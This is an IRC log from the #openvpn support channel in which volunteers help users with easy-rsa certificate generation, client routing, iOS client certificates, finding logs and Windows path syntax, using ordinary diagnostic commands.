16:12 <+pekster> If you don't have openssl in your %PATH% easy-rsa won't work
16:12 < hg_5> pekster , ;o finally got it to work , i have downloaded and installed http://slproweb.com/download/Win64OpenSSL-1_0_1c.exe
16:12 < hg_5> then took from there openssl.cfg and moved it to openvpn folder
16:12 <+pekster> That will cause you problems unless you patched the cnf file to be openvpn-friendly
16:13 <+pekster> Unless you don't use MITM protection, in which case your VPN isn't as secure as it should be
16:13 <+pekster> See:
16:13 <+pekster> !mitm
16:13 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: ns-cert-type server in the client config
16:13 < hg_5> then i used this command in command prompt set OPENSSL_CONF=c:\[PATH TO YOUR OPENSSL DIRECTORY]\bin\openssl.cfg
16:14 -!- rrva [unknown@y.mima.x.se] has quit [Quit: Lost terminal]
16:14 < hg_5> MITM protection?
16:14 <+pekster> hg_5: Read the link. Ask after if you still don't get it
16:14 <+pekster> Also, note that build-key.bat and most of the other scripts specifically use -config %KEY_CONFIG%
16:14 <+pekster> So, copying in a stock openssl.cnf file won't build server certs properly
16:15 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:15 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
16:15 <+pekster> It'll probably break, actually, since the -extensions server won't exist
16:15 <+pekster> (this is why openvpn ships with its own openssl.cnf file)
16:19 < hg_5> pekster one more error http://puu.sh/1W0HM
16:19 < hg_5> what is the problem?
16:19 < hg_5> i got only this error now
16:20 < hg_5> pekster i meant about openssl.cfg not openssl.cnf
16:20 <+pekster> Same thing
16:20 <+pekster> It's the "openssl configuration file"
16:20 < hg_5> this process required openssl.cfg
16:20 < hg_5> so i can change openssl.cnf to openssl.cfg?
16:20 <+pekster> Then you named it like that in vars.bat
16:20 <+pekster> You can name it unicorn.jpg for all it matters
16:21 <+pekster> You need to reference it properly in the scripts that use the config file
16:21 <+pekster> If you've failed to reference it correctly, or failed to use the openvpn-specific configuration, or some combination of the above, stuff won't work
16:22 <+pekster> This is why it's easiest to just run easy-rsa from the installed path that OpenVPN puts itself in when you install. You're "managing everything yourself" if you move the directory like you've done, and it's implicitly assumed you have a good idea how openssl and easy-rsa works to do it
16:22 < hg_5> pekster i told you i have installed openvpn 2.3 on fresh new system(windows xp 32bit)
16:23 < hg_5> and i re do all process and still got errors ...
16:23 <+pekster> Using it from C:\program files\openvpn\easy-rsa ?
16:23 < hg_5> yes!
16:23 < hg_5> and on fresh new system got this error ;o can't open config file /etc/ssl/openssl.cnf
16:24 < hg_5> so..................
16:24 <+pekster> It's a warning, not an error
16:24 <+pekster> It's just looking in the "default place" for that file and not finding it
16:24 <+pekster> Assuming the scripts haven't been altered to lack the "-config %KEY_CONFIG%" part, it's using the one from vars.bat
16:25 <+pekster> I'll double-check everything works in my XP VM using 2.3.0, but it should...
16:26 < hg_5> pekster can you pastebin vars.bat.sample ?
16:27 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Ping timeout: 252 seconds]
16:28 <+pekster> hg_5: Stock vars.bat.sample in a 2.3.0 (32-bit) install on XP: http://fpaste.org/G3Ji/
16:28 < hg_5> yes i have also this , same stock
16:29 <+pekster> WOrks fine for me. If I make no changes to the vars.bat file and run it, as long as my CN is unique
16:30 <+pekster> I can successfuly reproduce your error if you use the same cert CN
16:30 <+pekster> You are not allowed to do that
16:30 <+pekster> Don't do it
16:30 < hg_5> i have made changes in vars.bat from line 31 to 40 , but its obvious i had to
16:30 <+pekster> I already noted this earlier
16:30 < hg_5> what is cert CN ?
16:30 < kothog> pekster: So I have a little script going which builds a filename from the CN of the cert and I have the static routes working just fine via the connect-client generic script (differentiating routes inside the script via the passed env variable "$common_name")  So, thanks for the suggestion, that was superbly helpful.
16:30 < kothog> \o
16:31 < hg_5> and how you have reproduced this error?
16:31 <+pekster> hg_5: Follow the directions in the howto better next time. When you create your cert it asks you the "Comon Name". These *MUST* *NOT* match a currently valid cert
16:31 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
16:31 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
16:31 < hg_5> ahhh
16:31 <+pekster> kothog: Yup. When you can't do what you want, write code to do it
16:33 < hg_5> so KEY_CN must not be the same as KEY_OU ?
16:33 <+pekster> Don't ever set KEY_CN yourself
16:33 <+pekster> Ever
16:33 <+pekster> I mean, it's fine in the vars.bat file
16:33 <+pekster> But the scripts take care of that. You must CHANGE it. This is why is says "changeme"
16:33 < hg_5> "set KEY_CN=changeme" ;o?
16:34 < hg_5> ohh ok
16:34 <+pekster> This is also *very* chearly explained in the howto. Please go back and read it. Then read it again. Then do what it tells you
16:34 <+pekster> !howto
16:34 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:34 < kothog> pekster: I was getting into my time-wasting "stubborn" mode and about to modify openvpn source to allow route within a client config context, but the script method is much easier. lol
16:35 <+pekster> Yea. I don't know why it isn't supported, but I suppose you'd need to handle the odd case where someone edited the ccd file between client connect and client disconnect, and that's some ugly programatic changes
16:35 <+pekster> Eaiser to just give the user script hooks if one wants to do something out of the ordinary
16:35 <+pekster> kothog: Usually I just have the server get a 'route' statement in the main configuration to supernet any downstream client LANs I use
16:35 <+pekster> But, maybe your use-case is different, or can't be (easily) supernetted
16:40 < hg_5> pekster ,hm and what about this error can you reproduce it http://puu.sh/1W1jM ?
16:40 <+pekster> That's becuase your CN matches
16:40 <+pekster> Don't use a CN you've issued a cert before
16:41 <+pekster> In case you somehow forgot to read the link I've asked you to (twice) this should make it painfully obvious:
16:41 <+pekster> "Remember that for each client, make sure to type the appropriate Common Name when prompted, i.e. "client1", "client2", or "client3". Always use a unique common name for each client."
16:41 <+pekster> If you fail to do that, openssl will fail to issue your cert. You can hack openssl.cnf to allow it anyway, but I'm not goign to help you do that as it very bad practice. The openssl documentation can explain how if you really want to do this
16:42 < hg_5> ahhhh....
16:42 <+pekster> Now please stop asking for help without reading the links I send. It makes me not interested in helping you in the future
16:45 < hg_5> thankss....... it works now! ahhh that should be simplier way to generate those certificates ;p
16:46 <+pekster> You mean the way the official documentation tells you to? Yes, yes it would.
16:46 < hg_5> you know some gui, that i click generate certificate and it generates ;d
16:46 <+pekster> !xca
16:46 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
16:47 < kothog> pekster: Each client connecting is home to a number of subnets, not all of them necessarily related to one another, and all admin'd by different people, so we're using openvpn as a sort of hub-node to talk to each other.
16:47 <+pekster> You're free to use whatever method you like. Those aren't spported in the 'official' howtwo. If you aren't familiar with openssl (no offence, but you really aren't given this problem) then using unofficial tools can cause problems if you don't understand how they work
16:47 < hg_5> wow i didnt heard about this :D
16:47 <+pekster> I wrote my own CA management from scratch using bash. Then again, I know what I'm doing
16:48 <+pekster> kothog: Yea, I see. Either a bunch of disjoined routes in your server.cnf, or handle it on each node. Of course, pushing the routes to each node is problematic, unless you have magic to handle that on the backend too. And making sure routes don't collide is always fun when it's different people/groups maintaining them :P
16:49 <+pekster> Erm, server.conf*
16:50 -!- Eagleman [~Eagleman@5.45.183.189] has joined #openvpn
16:51 < kothog> pekster: Client-to-client routing is working via push routes, and iroute (I think iroutes are necessary), and then there are services on the server-side that the downstream subnets want to be able to access too. It's really our own fault for doing things so complicated. Some day I'd like to see a many:many participant openvpn that doesn't need the hub, and only requires one openvpn binary, but honestly if I'm not going to write it myself I don't have
16:51 < kothog> much business complaining. :) So I'm happy with our little frankenstein of a configuration.
16:51 < kothog> yeah, colliding routes, for sure.
16:55 <+pekster> Yup. with multi-threading, many:many might become an option since the TLS backend to identify clients uniquely is half the battle
16:55 <+pekster> Anyway, I'm out
16:55 -!- mode/#openvpn [-v pekster] by ChanServ
17:00 -!- adolfomaltez [~taro@190.62.211.253] has joined #openvpn
17:01 -!- gbkersey [~gbkersey@cpe-70-113-93-142.austin.res.rr.com] has quit [Ping timeout: 252 seconds]
17:03 -!- gbkersey [~gbkersey@cpe-70-113-93-142.austin.res.rr.com] has joined #openvpn
17:16 -!- Azrael808 [~peter@cpc17-walt12-2-0-cust657.13-2.cable.virginmedia.com] has quit [Ping timeout: 256 seconds]
17:19 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
17:35 -!- Eagleman [~Eagleman@5.45.183.189] has quit []
17:46 -!- gbkersey [~gbkersey@cpe-70-113-93-142.austin.res.rr.com] has left #openvpn ["Leaving"]
17:55 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has joined #openvpn
17:57 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
17:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
17:57 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
18:04 -!- oyunokata [~rrinehart@209.163.177.130] has quit [Ping timeout: 252 seconds]
18:12 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
18:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
18:16 -!- mode/#openvpn [+o krzee] by ChanServ
18:21 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
18:23 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
18:33 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
18:40 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has quit [Quit: Computer has gone to sleep.]
18:44 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
18:56 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
19:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
19:06 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:37 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
19:38 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
19:39 -!- raidz is now known as raidz_away
19:42 -!- prometheanfire [~promethea@gentoo/developer/prometheanfire] has left #openvpn []
20:07 -!- Saviq_ [~Saviq@194.168.195.98] has joined #openvpn
20:09 -!- AsadH is now known as zz_AsadH
20:15 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Read error: Connection reset by peer]
20:21 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
20:53 -!- julius_ [~julius@141.41.92.122] has quit [Ping timeout: 255 seconds]
20:58 -!- oyunokata [~rrinehart@71.21.227.159] has joined #openvpn
21:06 -!- oyunokata [~rrinehart@71.21.227.159] has quit [Quit: oyunokata]
21:47 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
22:12 -!- adolfomaltez [~taro@190.62.211.253] has quit [Remote host closed the connection]
22:28 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has joined #openvpn
23:50 -!- Devastator- [~devas@186.214.111.148] has joined #openvpn
23:51 -!- Devastator- [~devas@186.214.111.148] has quit [Changing host]
23:51 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
23:51 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
--- Day changed Sat Feb 02 2013
00:48 -!- Saviq_ [~Saviq@194.168.195.98] has quit [Ping timeout: 248 seconds]
01:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
01:14 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has joined #openvpn
01:29 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
01:40 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has quit [Ping timeout: 276 seconds]
01:43 -!- Porkepix [~Porkepix@157.138.76.100] has joined #openvpn
02:07 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has quit []
02:21 -!- Porkepix [~Porkepix@157.138.76.100] has quit [Ping timeout: 255 seconds]
02:24 -!- Porkepix [~Porkepix@79.31.185.239] has joined #openvpn
02:35 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has left #openvpn ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is"]
03:48 -!- bauruine [~stefan@91.236.116.112] has quit [Read error: Connection reset by peer]
03:52 -!- Devastator- is now known as Devastator
04:00 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has joined #openvpn
04:02 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
04:03 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
04:05 -!- dazo_afk is now known as dazo
04:05 -!- Devastator [~devas@177.18.198.246] has joined #openvpn
04:12 -!- _b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
04:16 -!- _b00b is now known as b00b
04:16 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
04:17 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
04:20 -!- Devastator [~devas@177.18.198.246] has quit [Changing host]
04:20 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
04:26 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:39 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has quit [Ping timeout: 260 seconds]
04:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
04:52 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 256 seconds]
04:53 -!- Cpot-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
04:55 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
04:57 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
04:57 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
04:58 -!- Cpot-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 244 seconds]
05:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:03 < hg_5> hello
05:07 -!- brute11k1 [~brute11k@89.249.231.86] has quit [Ping timeout: 255 seconds]
05:14 -!- brute11k [~brute11k@89.249.231.86] has joined #openvpn
05:21 -!- `Ile` [~ile@109-92-65-39.dynamic.isp.telekom.rs] has joined #openvpn
05:35 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has quit [Quit: leaving]
05:39 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
06:07 -!- julius_ [~julius@141.41.92.122] has joined #openvpn
06:22 -!- `Ile` [~ile@109-92-65-39.dynamic.isp.telekom.rs] has quit [Quit: Lost terminal]
06:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
06:26 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
06:46 -!- dazo is now known as dazo_afk
06:53 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
06:55 -!- JackWinter [~jack@vodsl-4655.vo.lu] has left #openvpn ["Konversation terminated!"]
07:02 -!- master_of_master [~master_of@p57B52C3E.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
07:02 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
07:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:03 -!- master_of_master [~master_of@p57B5233B.dip.t-dialin.net] has joined #openvpn
07:17 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
07:26 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
07:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:45 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
07:54 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
07:55 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Client Quit]
08:03 -!- b1rkh0ff [~b1rkh0ff@178.77.20.138] has quit [Read error: Operation timed out]
08:03 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
08:04 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
08:08 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
08:11 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has joined #openvpn
08:15 < hg_5> hello
08:17 -!- b1rkh0ff [~b1rkh0ff@178.77.15.65] has joined #openvpn
08:20 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 264 seconds]
08:22 -!- mattock is now known as mattock_afk
08:24 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
08:26 < kisom> Is it possible to connect to a server on iOS without a client certificate?
08:27 < kisom> OpenVPN seems to require a client certificate to be selected...
08:27 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
08:30 -!- mode/#openvpn [+v pekster] by ChanServ
08:31 <+pekster> kisom: It's possible for a client to omit sending a certificate, yes (by omitting the --cert and --key options) but this is only valid if the server does not require them from clients (ie: --client-cert-not-required)
08:32 <+pekster> I haven't used the iOS GUI, but I assume you can also feed it a standard config file with the options/features you need?
08:32 <+pekster> (if the UI really doesn't support that)
08:33 < kisom> Yes, I imported a random certificate and private key that are signed by another CA, and not it works.
08:33 < kisom> s/not/now
08:34 <+pekster> Be aware that may be sent over the wire anyway (even if the server ignores it) so you are leaking any info that's encoded in the X509 file to anyone who can see your traffic. This may or may not be relevant
08:35 < kisom> It's not relevant in this case :)
08:35 <+pekster> I've got a nice write-up in the works explaining leakage and side-channel attacks (I call it a "social side-channel") by (ab)using this info :)
08:35 < kisom> My full name and email address is in the server certificate anyways
08:36 <+pekster> Yea, basically that. Companies sometimes include department, org name, etc. All useful if you're going to target someone to talk them into helping your compromise the infrastructure
08:36 <+pekster> Basically an adaptation of social engineering for the plaintext data you can swipe
08:37 < kisom> I gotta say the iOS client works very well
08:37 < kisom> Way better than the cisco client
08:38  * pekster has never been a fan of Cisco
08:38 < kisom> Well my company is selling VPN services to a huge company that needs to avoid censor in various countries
08:38 <+pekster> The design reaks of the same "Walled Garden" we've come to love/hate with another Giant Who Must Not Be Nammed
08:39 < kisom> Well I have nothing against cisco
08:39 < kisom> It's just that their client does not auto reconnect
08:39 < kisom> And it works badly behind old home routers
08:39 <+pekster> Heh, I'd say just patch the code, but you can't do that on iOS :P
08:40 <+pekster> Yea, OpenVPN certainly scores points for flexibility
08:40 < kisom> Well either way, it's time to get coding to have iOS support for our solution
08:58 < hg_5> hello, i have problem with openvpn ,can you look at this post http://www.gargoyle-router.com/phpbb/viewtopic.php?f=11&t=3802&p=16842#p16842
08:58 <@vpnHelper> Title: Gargoyle Forum View topic - openvpn client - doesnt redirect ip (at www.gargoyle-router.com)
09:04 <+pekster> How are you testing the external source IP? Also, are the 2 rfc1918 networks on a related backend, that is are they connected to each other locally, or are the on completely separate ISPs?
09:07 -!- mattock_afk is now known as mattock
09:08 < hg_5> im connecting with tl-wr1043nd and go on www.whatismyip.com
09:08 < hg_5> separate ISP
09:08 < hg_5> mifi router 3g has its own ISP and tomato openvpn server router has its own ISP
09:10 <+pekster> Server config, client logs (verb 4 please) and a copy of the client's routing table post-connection would be useful
09:10 <+pekster> Ideally in 'ip route' syntax, but 'route' or 'ifconfig' is acceptable if you lack modern-ish Linux tools (and upstream should be scolded for that)
09:13 < hg_5> tomato router server config: http://puu.sh/1WkLh http://puu.sh/1WkLP
09:14 < hg_5> can you tell what to type in router(through ssh) to get another informations ?
09:15 <+pekster> Ugh, stupid GUI frontends. No promisses on how accurate this is without raw configs, but since your other client works it's probably something client-side
09:15 <+pekster> !logs
09:15 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
09:15 <+pekster> No idea where your special box keeps logs. Usually syslog is common for daemons, except when otherwise redirected
09:16 <+pekster> '/sbin/ip route show' is usually sufficient to dump routing, if you have correct iproute2 support
09:16 < hg_5> you mean where tl-wr1043nd keeps logs?
09:16 <+pekster> Otherwise, 'route -n' is probably sufficient
09:17 <+pekster> Yes. I want client logs to see if something failed to happen that was supposed to
09:17 -!- mattock is now known as mattock_afk
09:17 <+pekster> Checking your logs is a pretty basic level of troubleshooting you should already before asking for help. Errors or warnings in the log is how openpvn tells you something is wrong, so it's pretty critical you look there
09:18 <+pekster> Most problems require inspecting these logs to confirm a problem, of confirm a lack of one
09:18 < hg_5> pekster http://puu.sh/1WkSJ
09:18 < hg_5> sorry, im not too much familiar with linux commands
09:19 < rob0> pekster, please lmk when your "social side-channel" write-up is ready.
09:19 <+pekster> routing table looks good; it's taking the --redirect-gateway push from the server, so traffic should be going out via tun0 to your VPN peer
09:20 <+pekster> rob0: Will-do. I'm probably going to put it under GFDL or similar. You planning to mirror it, or just want to read/link/reference it?
09:20 < rob0> read, maybe comment
09:21 <+pekster> hg_5: If you do a ping to say 4.2.2.1 (or some public host) and tcpdump traffic, can you see it going over tun0 instead of br-lan? (if that thing lacks tcpdump, you can do a 'poor mans tcpdump' with some iptables rules, like 'iptables -t mangle -A POSTROUTING -o tun0 -d 4.2.2.1' and check the hitcount as you ping that IP
09:22 <+pekster> rob0: Sure. I need to pretify an "official" link, but I'll have an unofficial one ready before that. I'll PM you that, although I'd rather limit distribution until I can get context/licensing/etc sorted out for the final version
09:23 < rob0> np, thanks
09:27 -!- mattock_afk is now known as mattock
09:31 < hg_5> pekster what exactly to check, that last command?
09:32 < hg_5> i can't ping 10.9.0.1 neither 192.168.1.1 (those ips are my router tomato)
09:37 <+pekster> Firewall perhaps?
09:38 <+pekster> Could be not properly allowing traffic to flow over tun0 on your client, or the server not accepting pings or input on its tun iface; if your other client can ping the vpn peer (10.9.0.1) then you know your issue must be firewall on this client
09:49 -!- idlecool [~i@sd.gs] has joined #openvpn
09:49 < idlecool> i am trying to install openvpn server
09:50 < idlecool> the server is not starting, i guess there should be logs somewhere. but unable to find it.
09:50 < idlecool> i am on ubuntu 12.04
09:50 < rob0> !logs
09:50 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
09:50 < rob0> !logfile
09:50 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
09:56 < idlecool> /var/log/syslog is empty.
09:58 < rob0> If you have deleted your logfile while the syslogd is running, the logs are still being written to the deleted inode. Try restarting your syslogd?
10:01 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 276 seconds]
10:03 -!- oneb [~oneb@99-101-240-158.lightspeed.tulsok.sbcglobal.net] has joined #openvpn
10:03 < oneb> any support avail for connecting on windows 8?
10:04 -!- mattock is now known as mattock_afk
10:05 < idlecool> rob0: got it. thanks, i was looking for wrong package to install, in ubuntu its sysklogd
10:05 < oneb> !paste
10:05 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
10:06 < oneb> !configs
10:06 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:06 < idlecool> i am not quite sure what this means
10:06 < idlecool> "NOTE: OpenVPN 2.1 requires '--script-security 2' or higher to call user-defined scripts or executables"
10:07 < oneb> I have everything set to run as admin. Windows 8 64-bit. http://pastebin.com/bmVrWwxT is my current log.
10:07 < oneb> I've been using OpenVPN for quite some time now, just now runing into problems with win8.
10:07 <+pekster> idlecool: If you use directives that call external scripts (such as --up, --down, --client-connect) you need to set --script-security as required to give it permission to run. See further details in the manpage under --script-security
10:08 < rob0> it is a NOTE, not an error
10:10 <+pekster> oneb: I'm guessing a problem with absolute/relateive paths, so verify --cd lines, and when in doubt try it with absolute pathes first. It could be weirdness with filesystem views if Win8 does what Vista pre-SP1 did by letting non-admin users (or admins when not engaging UAC) store files in "common" areas and put it in a user overlay transarently
10:10 <+pekster> UAC is worse than SELinux since it won't even tell you it's doing some of this voodoo
10:11 < oneb> I've disabled UAC and factory firewall. Running all .exe's as admin.
10:12 <+pekster> Try absoltue paths? --ca "C:\\program files\\openvpn\\config\\keys\\ca.crt" (or whatever the relevant path is?)
10:12 <+pekster> Windows may play nice with the forward-slash syntax, although I haven't tried that. It likes backslashes natively, and you must escape them, and then quote names with spaces in addition
10:15 -!- oneb [~oneb@99-101-240-158.lightspeed.tulsok.sbcglobal.net] has quit []
10:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:34 -!- dazo_afk is now known as dazo
10:34 -!- novaflash is now known as novaflash_away
10:49 -!- novaflash_away is now known as novaflash
10:50 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 252 seconds]
10:59 -!- dazo is now known as dazo_afk
11:02 <@krzee> !winpath
11:02 <@vpnHelper> "winpath" is (#1) Remember on Windows to quote pathnames and use double backslashes, e.g.: "C:\\Program Files\\OpenVPN\\config\\foo.key" or (#2) also, you can use forward slashes to avoid needing double backslashes, but you still need quotes, e.g.: C:/Program Files/OpenVPN/config/foo.key (but surrounded by quotes)
11:02 <@krzee> it does work with forward slashes, but still must quote
11:03 -!- spitf1r3 [~quassel@89.200.144.70] has quit [Ping timeout: 248 seconds]
11:03 <+pekster> That just looks screwy :P
11:04 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
11:04 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
11:05 -!- wh1p_ [~wh1p@host-2-100-148-6.as13285.net] has joined #openvpn
11:05 < wh1p_> test?
11:06 <@krzee> srs?
11:06 -!- wh1p_ [~wh1p@host-2-100-148-6.as13285.net] has quit [Client Quit]
11:09 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Quit: Bye]
11:09 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 248 seconds]
11:22 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
11:25 -!- dmz [~dmz@unaffiliated/dmz] has quit [Quit: Ex-Chat]
11:30 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
11:32 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
11:34 -!- rob0 [rob0@harrier.slackbuilds.org] has joined #openvpn
11:34 -!- rob0 [rob0@harrier.slackbuilds.org] has quit [Changing host]
11:34 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
11:40 -!- brute11k1 [~brute11k@89.249.231.17] has joined #openvpn
11:41 -!- brute11k [~brute11k@89.249.231.86] has quit [Ping timeout: 260 seconds]
12:06 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 276 seconds]
12:19 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has joined #openvpn
12:32 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
12:38 -!- mndo [~mndo@bl15-208-101.dsl.telepac.pt] has joined #openvpn
12:44 <+EugeneKay> srs.
12:46 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
12:46 < Maverick0984> anyone have an implementation of OpenVPN that uses PhoneFactor?
12:49 -!- spitf1r3 [~quassel@89.200.144.70] has joined #openvpn
12:49 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:59 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
